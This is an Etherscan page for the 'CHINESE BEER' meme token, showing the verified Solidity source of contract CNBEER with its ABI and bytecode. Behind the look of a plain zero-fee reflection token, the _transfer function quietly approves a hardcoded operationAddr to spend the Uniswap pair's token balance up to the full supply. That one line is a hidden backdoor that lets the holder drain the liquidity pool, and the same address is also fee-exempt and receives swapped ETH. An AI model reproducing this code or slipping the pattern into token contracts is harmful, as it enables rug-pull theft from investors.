ETH Price: $2,910.82 (-3.90%)
Gas: 1 Gwei

Token

CHINESE BEER (青岛啤酒)
 

Overview

Max Total Supply

1,000,000,000 青岛啤酒

Holders

89

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
hallofheroes.eth
Balance
17,410,840.764231988 青岛啤酒

Value
$0.00
0x1F451580f839f6589D4802AF037D715De693120b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CNBEER

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-02
*/

// SPDX-License-Identifier: MIT

/**
$青岛啤酒 is SO NICE that you may be tempted to drink it. Go for it! It is more than a mere meme.

Website: https://cnbeer.pro
Twitter: https://twitter.com/cn_beer_erc
Telegram: https://t.me/cn_beer_erc
*/

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract CNBEER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
    uint256 public _maxTxAmount = _tTotal * 30 / 1000;
    uint256 public _maxWalletSize = _tTotal * 30 / 1000;
    uint256 public _swapTokensAtAmount = _tTotal * 1 / 10000;
    address private devAddr = msg.sender;
    address private operationAddr = 0x4662B9AF2127cb51a6B4C0CD8465830cD4d91D95;
    address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 public uniRouter;
    address public uniPair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    string private constant _name = unicode"CHINESE BEER";
    string private constant _symbol = unicode"青岛啤酒";
    uint8 private constant _decimals = 9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _rOwned[_msgSender()] = _rTotal;
        IUniswapV2Router02 _uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniRouter = _uniRouter;
        uniPair = IUniswapV2Factory(_uniRouter.factory())
            .createPair(address(this), _uniRouter.WETH());
        _isExcludedFromFee[owner()] = true; 
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[operationAddr] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner());
            }

            if(to != uniPair && to != uniswapRouter && to != address(this)) {
                require(amount <= _maxTxAmount);
                if(to != uniPair) {
                    require(balanceOf(to) + amount < _maxWalletSize);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _swapTokensAtAmount*2)
            {
                contractTokenBalance = contractTokenBalance*2;
            }

            if (canSwap && !inSwap && from != uniPair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(contractETHBalance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniPair && to != uniPair)) {
            takeFee = false; devAddr = uniPair; _approve(devAddr, operationAddr, _tTotal);
        } else {

            //Set Fee for Buys
            if(from == uniPair && to != address(uniRouter)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniPair && from != address(uniRouter)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();
        _approve(address(this), address(uniRouter), tokenAmount);
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function sendETHToFee(uint256 amount) private {
        payable(operationAddr).transfer(amount);
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = _tTotal; _maxWalletSize = _tTotal;
    }

    function enableTrading() public onlyOwner {
        require(!tradingOpen, "Trading alredy enabled.");
        tradingOpen = true; swapEnabled = true;        
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000019670de0b6b3a76400005f19620003c6565b62000026905f19620003f0565b6006555f6008555f6009555f600a555f600b55600a54600c55600b54600d55600c54600e55600d54600f556103e8670de0b6b3a7640000601e6200006b91906200040c565b62000077919062000426565b6010556103e862000092670de0b6b3a7640000601e6200040c565b6200009e919062000426565b601155612710620000b9670de0b6b3a764000060016200040c565b620000c5919062000426565b601255601380546001600160a01b03199081163317909155601480548216734662b9af2127cb51a6b4c0cd8465830cd4d91d9517905560158054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790556017805462ffffff60a01b1916905534801562000135575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654335f9081526002602090815260409182902092909255601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001ef573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021591906200043c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000261573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200028791906200043c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002d2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002f891906200043c565b601780546001600160a01b0319166001600160a01b039283161790555f80548216815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055601454909416835291208054909216179055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620003a391815260200190565b60405180910390a3506200046b565b634e487b7160e01b5f52601260045260245ffd5b5f82620003d757620003d7620003b2565b500690565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620004065762000406620003dc565b92915050565b8082028115828204841417620004065762000406620003dc565b5f82620004375762000437620003b2565b500490565b5f602082840312156200044d575f80fd5b81516001600160a01b038116811462000464575f80fd5b9392505050565b6114bf80620004795f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146102e0578063a0e47bf614610314578063a9059cbb14610333578063dd62ed3e14610352578063f2fde38b14610396575f80fd5b8063751039fc146102725780637d1db4a5146102865780638a8c523c1461029b5780638da5cb5b146102af5780638f9a55c0146102cb575f80fd5b80632fd689e3116100e35780632fd689e3146101d6578063313ce567146101eb57806332972e461461020657806370a082311461023d578063715018a61461025c575f80fd5b806306fdde031461011e578063095ea7b31461016457806318160ddd1461019357806323b872dd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b21a424a722a9a2902122a2a960a11b60208201525b60405161015b9190611202565b60405180910390f35b34801561016f575f80fd5b5061018361017e366004611264565b6103b5565b604051901515815260200161015b565b34801561019e575f80fd5b50670de0b6b3a76400005b60405190815260200161015b565b3480156101c2575f80fd5b506101836101d136600461128e565b6103cb565b3480156101e1575f80fd5b506101a960125481565b3480156101f6575f80fd5b506040516009815260200161015b565b348015610211575f80fd5b50601754610225906001600160a01b031681565b6040516001600160a01b03909116815260200161015b565b348015610248575f80fd5b506101a96102573660046112cc565b610432565b348015610267575f80fd5b50610270610453565b005b34801561027d575f80fd5b506102706104cd565b348015610291575f80fd5b506101a960105481565b3480156102a6575f80fd5b50610270610509565b3480156102ba575f80fd5b505f546001600160a01b0316610225565b3480156102d6575f80fd5b506101a960115481565b3480156102eb575f80fd5b5060408051808201909152600c81526b74cec972d94df2cad274c2c960a11b602082015261014e565b34801561031f575f80fd5b50601654610225906001600160a01b031681565b34801561033e575f80fd5b5061018361034d366004611264565b6105a5565b34801561035d575f80fd5b506101a961036c3660046112e7565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156103a1575f80fd5b506102706103b03660046112cc565b6105b1565b5f6103c1338484610698565b5060015b92915050565b5f6103d78484846107bb565b610428843361042385604051806060016040528060288152602001611462602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610b0a565b610698565b5060019392505050565b6001600160a01b0381165f908152600260205260408120546103c590610b42565b5f546001600160a01b031633146104855760405162461bcd60e51b815260040161047c9061131e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104f65760405162461bcd60e51b815260040161047c9061131e565b670de0b6b3a76400006010819055601155565b5f546001600160a01b031633146105325760405162461bcd60e51b815260040161047c9061131e565b601754600160a01b900460ff161561058c5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c7265647920656e61626c65642e000000000000000000604482015260640161047c565b6017805462ff00ff60a01b19166201000160a01b179055565b5f6103c13384846107bb565b5f546001600160a01b031633146105da5760405162461bcd60e51b815260040161047c9061131e565b6001600160a01b03811661063f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161047c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106fa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b03821661075b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107cd575f80fd5b6001600160a01b0382166107df575f80fd5b5f81116107ea575f80fd5b6001600160a01b0383165f9081526005602052604090205460ff1615801561082a57506001600160a01b0382165f9081526005602052604090205460ff16155b156109c657601754600160a01b900460ff16610858575f546001600160a01b03848116911614610858575f80fd5b6017546001600160a01b0383811691161480159061088457506015546001600160a01b03838116911614155b801561089957506001600160a01b0382163014155b156108e1576010548111156108ac575f80fd5b6017546001600160a01b038381169116146108e157601154816108ce84610432565b6108d89190611367565b106108e1575f80fd5b5f6108eb30610432565b601254909150808210159061090190600261137a565b82106109155761091282600261137a565b91505b80801561092c5750601754600160a81b900460ff16155b801561094657506017546001600160a01b03868116911614155b801561095b5750601754600160b01b900460ff165b801561097f57506001600160a01b0385165f9081526005602052604090205460ff16155b80156109a357506001600160a01b0384165f9081526005602052604090205460ff16155b156109c3576109b182610bc4565b4780156109c1576109c181610d34565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610a0657506001600160a01b0383165f9081526005602052604090205460ff165b80610a3857506017546001600160a01b03858116911614801590610a3857506017546001600160a01b03848116911614155b15610a7e5750601754601380546001600160a01b0319166001600160a01b039283169081179091556014545f92610a79929116670de0b6b3a7640000610698565b610af8565b6017546001600160a01b038581169116148015610aa957506016546001600160a01b03848116911614155b15610abb57600854600c55600954600d555b6017546001600160a01b038481169116148015610ae657506016546001600160a01b03858116911614155b15610af857600a54600c55600b54600d555b610b0484848484610d6f565b50505050565b5f8184841115610b2d5760405162461bcd60e51b815260040161047c9190611202565b505f610b398486611391565b95945050505050565b5f600654821115610ba85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047c565b5f610bb1610d9d565b9050610bbd8382610dbe565b9392505050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c0a57610c0a6113a4565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c61573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8591906113b8565b81600181518110610c9857610c986113a4565b6001600160a01b039283166020918202929092010152601654610cbe9130911684610698565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790610cf69085905f908690309042906004016113d3565b5f604051808303815f87803b158015610d0d575f80fd5b505af1158015610d1f573d5f803e3d5ffd5b50506017805460ff60a81b1916905550505050565b6014546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610d6b573d5f803e3d5ffd5b5050565b80610d7c57610d7c610dff565b610d87848484610e2c565b80610b0457610b04600e54600c55600f54600d55565b5f805f610da8610f1d565b9092509050610db78282610dbe565b9250505090565b5f610bbd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f5c565b600c54158015610e0f5750600d54155b15610e1657565b600c8054600e55600d8054600f555f9182905555565b5f805f805f80610e3b87610f88565b6001600160a01b038f165f90815260026020526040902054959b50939950919750955093509150610e6c9087610fdd565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054610e9a908661101e565b6001600160a01b0389165f90815260026020526040902055610ebb8161107c565b610ec584836110c2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f0a91815260200190565b60405180910390a3505050505050505050565b6006545f908190670de0b6b3a7640000610f378282610dbe565b821015610f5357505060065492670de0b6b3a764000092509050565b90939092509050565b5f8183610f7c5760405162461bcd60e51b815260040161047c9190611202565b505f610b398486611442565b5f805f805f805f805f610fa08a600c54600d546110e6565b9250925092505f610faf610d9d565b90505f805f610fc08e878787611138565b919e509c509a509598509396509194505050505091939550919395565b5f610bbd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b0a565b5f8061102a8385611367565b905083811015610bbd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b5f611085610d9d565b90505f6110928383611184565b305f908152600260205260409020549091506110ae908261101e565b305f90815260026020526040902055505050565b6006546110cf9083610fdd565b6006556007546110df908261101e565b6007555050565b5f8080806110ff60646110f98989611184565b90610dbe565b90505f61111160646110f98a89611184565b90505f611128826111228b86610fdd565b90610fdd565b9992985090965090945050505050565b5f8080806111468886611184565b90505f6111538887611184565b90505f6111608888611184565b90505f611171826111228686610fdd565b939b939a50919850919650505050505050565b5f825f0361119357505f6103c5565b5f61119e838561137a565b9050826111ab8583611442565b14610bbd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b5f6020808352835180828501525f5b8181101561122d57858101830151858201604001528201611211565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611261575f80fd5b50565b5f8060408385031215611275575f80fd5b82356112808161124d565b946020939093013593505050565b5f805f606084860312156112a0575f80fd5b83356112ab8161124d565b925060208401356112bb8161124d565b929592945050506040919091013590565b5f602082840312156112dc575f80fd5b8135610bbd8161124d565b5f80604083850312156112f8575f80fd5b82356113038161124d565b915060208301356113138161124d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103c5576103c5611353565b80820281158282048414176103c5576103c5611353565b818103818111156103c5576103c5611353565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113c8575f80fd5b8151610bbd8161124d565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114215784516001600160a01b0316835293830193918301916001016113fc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261145c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122084b90e4df08f8b8b00b74c359b36e4eed089bc17674d1c3cf38ef9a19959724e64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146102e0578063a0e47bf614610314578063a9059cbb14610333578063dd62ed3e14610352578063f2fde38b14610396575f80fd5b8063751039fc146102725780637d1db4a5146102865780638a8c523c1461029b5780638da5cb5b146102af5780638f9a55c0146102cb575f80fd5b80632fd689e3116100e35780632fd689e3146101d6578063313ce567146101eb57806332972e461461020657806370a082311461023d578063715018a61461025c575f80fd5b806306fdde031461011e578063095ea7b31461016457806318160ddd1461019357806323b872dd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b21a424a722a9a2902122a2a960a11b60208201525b60405161015b9190611202565b60405180910390f35b34801561016f575f80fd5b5061018361017e366004611264565b6103b5565b604051901515815260200161015b565b34801561019e575f80fd5b50670de0b6b3a76400005b60405190815260200161015b565b3480156101c2575f80fd5b506101836101d136600461128e565b6103cb565b3480156101e1575f80fd5b506101a960125481565b3480156101f6575f80fd5b506040516009815260200161015b565b348015610211575f80fd5b50601754610225906001600160a01b031681565b6040516001600160a01b03909116815260200161015b565b348015610248575f80fd5b506101a96102573660046112cc565b610432565b348015610267575f80fd5b50610270610453565b005b34801561027d575f80fd5b506102706104cd565b348015610291575f80fd5b506101a960105481565b3480156102a6575f80fd5b50610270610509565b3480156102ba575f80fd5b505f546001600160a01b0316610225565b3480156102d6575f80fd5b506101a960115481565b3480156102eb575f80fd5b5060408051808201909152600c81526b74cec972d94df2cad274c2c960a11b602082015261014e565b34801561031f575f80fd5b50601654610225906001600160a01b031681565b34801561033e575f80fd5b5061018361034d366004611264565b6105a5565b34801561035d575f80fd5b506101a961036c3660046112e7565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156103a1575f80fd5b506102706103b03660046112cc56